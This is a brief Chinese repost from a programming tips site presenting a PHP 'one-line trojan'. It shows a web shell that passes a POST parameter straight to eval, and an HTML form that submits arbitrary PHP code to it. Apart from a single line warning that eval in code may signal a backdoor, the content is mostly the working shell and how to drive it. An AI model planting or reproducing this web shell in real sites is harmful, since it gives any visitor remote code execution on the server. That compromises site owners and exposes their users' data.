前端之家收集整理的这篇文章主要介绍了
php eval函数一句话木马示例,
前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。
对
PHP eval
函数一句话木马
代码感兴趣的小伙伴,下面一起跟随编程之家 jb51.cc的小编两巴掌来看看吧!
eval可以用来执行任何其他
PHP代码,所以对于
代码里发现了eval
函数一定要小心,可能是木马
就这一句话害死人,这样任何人都可以post任何
文件上来,所以要做好防范
/**
* PHP eval函数一句话木马代码
*
* @param
* @arrange 512-笔记网: jb51.cc
**/
<?PHP @eval($_POST['c']);?>
/*** 来自编程之家 jb51.cc(jb51.cc) ***/
使用
方法也很简单,本地提交
文件指向提交
文件,里面的
PHP代码就会被执行
/**
* PHP eval函数一句话木马代码
*
* @param
* @arrange 512-笔记网: jb51.cc
**/
<html>
<body>
<form action="a.PHP" method="post">
<input type="text" name="c" value="PHPinfo();">
<input type="submit" value="submit">
</form>
</body>
</html>
/*** 来自编程之家 jb51.cc(jb51.cc) ***/